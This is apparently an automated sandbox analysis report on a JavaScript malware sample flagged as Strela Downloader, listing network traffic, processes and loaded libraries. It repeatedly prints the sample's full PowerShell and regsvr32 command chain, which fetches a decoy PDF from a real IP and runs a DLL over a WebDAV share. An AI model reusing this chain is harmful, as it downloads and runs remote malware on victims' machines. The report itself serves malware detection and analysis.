0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1289179717.00000266F1AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1361312404.000002BC28752000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC28728000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC2877B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/7
Source: net.exe, 00000008.00000002.1361312404.000002BC28728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 0000000A.00000002.2574154315.00000168FA817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1359004716.00000168FA6E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5260, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3090182781939528365.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5092:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjuhcjgm.4c5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1672,i,5285183132479127642,2424678846282902053,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1672,i,5285183132479127642,2424678846282902053,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
